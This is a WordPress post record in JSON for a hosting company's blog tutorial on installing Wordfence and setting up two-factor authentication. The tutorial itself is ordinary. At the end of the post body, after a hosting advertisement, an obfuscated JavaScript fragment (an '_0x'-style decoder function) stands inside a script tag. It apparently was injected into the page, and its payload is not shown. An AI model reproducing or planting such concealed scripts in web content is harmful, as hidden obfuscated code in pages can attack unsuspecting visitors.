{"id":1016,"date":"2022-07-08T03:15:09","date_gmt":"2022-07-08T03:15:09","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=1016"},"modified":"2024-08-12T13:34:27","modified_gmt":"2024-08-12T12:34:27","slug":"how-to-set-up-wordfence-security-plugin-in-wordpress","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-set-up-wordfence-security-plugin-in-wordpress\/","title":{"rendered":"How to Set up Wordfence Security Plugin in WordPress"},"content":{"rendered":"<p>Does your website need a quality security plugin to guard against cyber-attacks? The Wordfence Security plugin may be exactly what you\u2019re looking for. The <strong>Wordfence Security plugin<\/strong> is the most popular security plugin.<\/p>\n<p>Website security should be one of the biggest concerns of any website. Any downtime on your website will directly affect your website\u2019s income and extended downtime could make you lose visitors permanently. Cyber attacks can be prevented by using a security plugin and it takes almost no time to set one up. we will demonstrate how to set up the Wordfence Security plugin in WordPress.<\/p>\n<h2>How Can Wordfence Security Protect Your Website<\/h2>\n<p>There are many ways\u00a0you can\u00a0keep your website protected\u00a0and they all require a security plugin. Wordfence Security\u2019s rise to the most popular security plugin was no accident. This plugin can protect your website from a wide array of cyberattacks.<\/p>\n<p>Specifically, it protects against <strong>hackers, DDoS,<\/strong> and <strong>malware.<\/strong> This is accomplished in part by the web application firewall, which can easily track malicious traffic. Its database allows it to identify all of the common malware that invades websites.<\/p>\n<p>One of the best features is that all websites that run Wordfence communicate with each other. This means if website A is attacked by hacker Z, then website B can automatically block hacker Z before he tries anything on another website.<\/p>\n<p>This essentially means the more websites that use Wordfence the better it is for everyone. The number of features and security customization is perfect for any website.<\/p>\n<h2>Wordfence Security<\/h2>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-1026\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Wordfence-Surcurity-Plugin-300x134.png\" alt=\"\" width=\"578\" height=\"258\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Wordfence-Surcurity-Plugin-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Wordfence-Surcurity-Plugin-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Wordfence-Surcurity-Plugin.png 1024w\" sizes=\"(max-width: 578px) 100vw, 578px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/wordpress.org\/plugins\/wordfence\/\" rel=\"noopener noreferrer\">Wordfence Security<\/a>\u00a0is a powerful and popular plugin that provides a firewall and security scanner. it comes packed with security features and includes the newest firewall rules, malware signatures, and malicious IP addresses it needs to keep your website safe.<\/p>\n<p>Add to that the 2FA and a suite of additional features, and Wordfence becomes one of the most comprehensive WordPress security solutions available today. The plugin includes all sorts of security tools and protects your site on all fronts. It includes:<\/p>\n<ul>\n<li>WordPress Firewall<\/li>\n<li>A Security Scanner for WordPress<\/li>\n<li>Login Security<\/li>\n<li>Wordfence Central<\/li>\n<li>Security Tools<\/li>\n<\/ul>\n<p>Powered by the constantly updated Threat Defense Feed, Wordfence Firewall stops you from getting hacked. Wordfence Scan leverages the same proprietary feed, alerting you quickly about security issues or if your site is compromised. All-in-all, you will be hard-pressed to find a better security plugin for your WordPress website.<\/p>\n<h2>How to Setup Wordfence Security<\/h2>\n<p>Today I will demonstrate how to set up the Wordfence Security plugin in WordPress. It\u2019s a great plugin that is widely used. Setting up the Wordfence Security plugin is very simple, but there are a few areas you really wanna make sure are running.<\/p>\n<h3>Step 1: Install and Activate the Plugin<\/h3>\n<p>Let\u2019s start by going to the plugins area of WordPress and click on the \u201cAdd New\u201d button.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-1018\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/admin-1-300x134.png\" alt=\"\" width=\"710\" height=\"317\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/admin-1-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/admin-1-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/admin-1.png 1024w\" sizes=\"(max-width: 710px) 100vw, 710px\" \/><\/p>\n<p>Search for Wordfence Security in the available search box. This will pull up additional plugins that you may find helpful.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-1019\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/wordfence-2-300x134.png\" alt=\"\" width=\"714\" height=\"319\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/wordfence-2-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/wordfence-2-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/wordfence-2.png 1024w\" sizes=\"(max-width: 714px) 100vw, 714px\" \/><\/p>\n<p>Scroll down until you find the Wordfence Security plugin and click the \u201c<strong>Install Now<\/strong>\u201d button and activate the plugin for use. Upon activation, you will be asked to submit an email to receive\u00a0security notifications on, but this\u00a0is optional. You will also be given the option to take a tour, which will show you all of the features that the plugin offers and where you can edit their settings.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1020\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Install-Now-300x134.png\" alt=\"\" width=\"737\" height=\"329\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Install-Now-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Install-Now-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Install-Now.png 1024w\" sizes=\"(max-width: 737px) 100vw, 737px\" \/><\/p>\n<h3>Step 2: Access the Plugin Dashboard<\/h3>\n<p>On the left-hand admin panel, click on <strong>Wordfence<\/strong> and select the <strong>Dashboard option<\/strong>. This will pull up the main settings page of the plugin. All of the information you need to see is on this page including the last scan, malware blocked, IP addresses blocked, etc.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1021\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Click-Wordfence-Dashboard-300x134.png\" alt=\"\" width=\"712\" height=\"318\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Click-Wordfence-Dashboard-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Click-Wordfence-Dashboard-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/Click-Wordfence-Dashboard.png 1024w\" sizes=\"(max-width: 712px) 100vw, 712px\" \/><\/p>\n<p>you can see this is now an available option after you have activated the plugin.<\/p>\n<h3>Step 3: Configure Dashboard Options<\/h3>\n<p>Once you click over to the dashboard area of the plugin, you will see that this is where you can view all sorts of data. You can also set up the global options for the <strong>Wordfence<\/strong> plugin. Simply click on the \u201cGlobal Options\u201d tab to open them up.<\/p>\n<h3>Step 4: Setting up two-factor authentication<\/h3>\n<p>Wordfence comes with the ability to set up two-factor authentication for extra login security. Click on the \u201cLogin Security\u201d link. Once on the page, you can see that there are a couple of options you can set up and out two-factor authentication in-place if you want.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1023\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/2FA-Setup-300x134.png\" alt=\"\" width=\"716\" height=\"320\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/2FA-Setup-300x134.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/2FA-Setup-768x342.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/07\/2FA-Setup.png 1024w\" sizes=\"(max-width: 716px) 100vw, 716px\" \/><\/p>\n<p>Enabling two-factor authentication, or 2FA, is one of the most important steps you can take to prevent account compromise. Two-factor authentication is one of the most secure forms of remote system authentication.<\/p>\n<p>Most TOTP (Time based One Time Password) based <strong>authenticator apps<\/strong> should work with Wordfence two-factor authentication. We have tested the following apps available for Android, iOS and Windows devices, which worked at the time they were tested:<\/p>\n<ul>\n<li><strong>Google Authenticator<\/strong><\/li>\n<li><strong>Authy<\/strong><\/li>\n<li><strong>FreeOTP<\/strong><\/li>\n<li><strong>LastPass Authenticator<\/strong><\/li>\n<li><strong>Duo Mobile<\/strong><\/li>\n<li><strong>Microsoft Authenticator<\/strong><\/li>\n<\/ul>\n<p>Note: we will recommend you to use <strong>Google Authenticator,<\/strong> kindly download the <strong>Google Authenticator <\/strong>on your mobile device.<\/p>\n<h2 id=\"first-time-setup\">First-time setup<\/h2>\n<p>The first time you sign in to use <strong>Wordfence<\/strong> plugin, you will be prompted to enable <strong>2FA.<\/strong> If you click \u201c<strong>Setup Two Factor Authentication<\/strong>\u201d then a window will pop up with a QR code (Quick Response Code). You can scan this code with the app which you downloaded on your device, the <strong>Google Authenticator app.<\/strong><\/p>\n<p>Once you have done this, be sure to click the <strong>\u201cDownload\u201d<\/strong> button to download the backup codes so that you can sign in to your account, even if you lose your smartphone.<\/p>\n<p>Click \u201cContinue\u201d to be taken to the next screen and enter the 6-digit code that appears in your <strong>authenticator<\/strong> app and then click <strong>\u201cActivate\u201d.<\/strong><\/p>\n<p>Do you need reliable cheap web hosting visit <a href=\"https:\/\/hoganhost.com.ng\">hoganhost.com.ng<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Does your website need a quality security plugin to guard against cyber-attacks? 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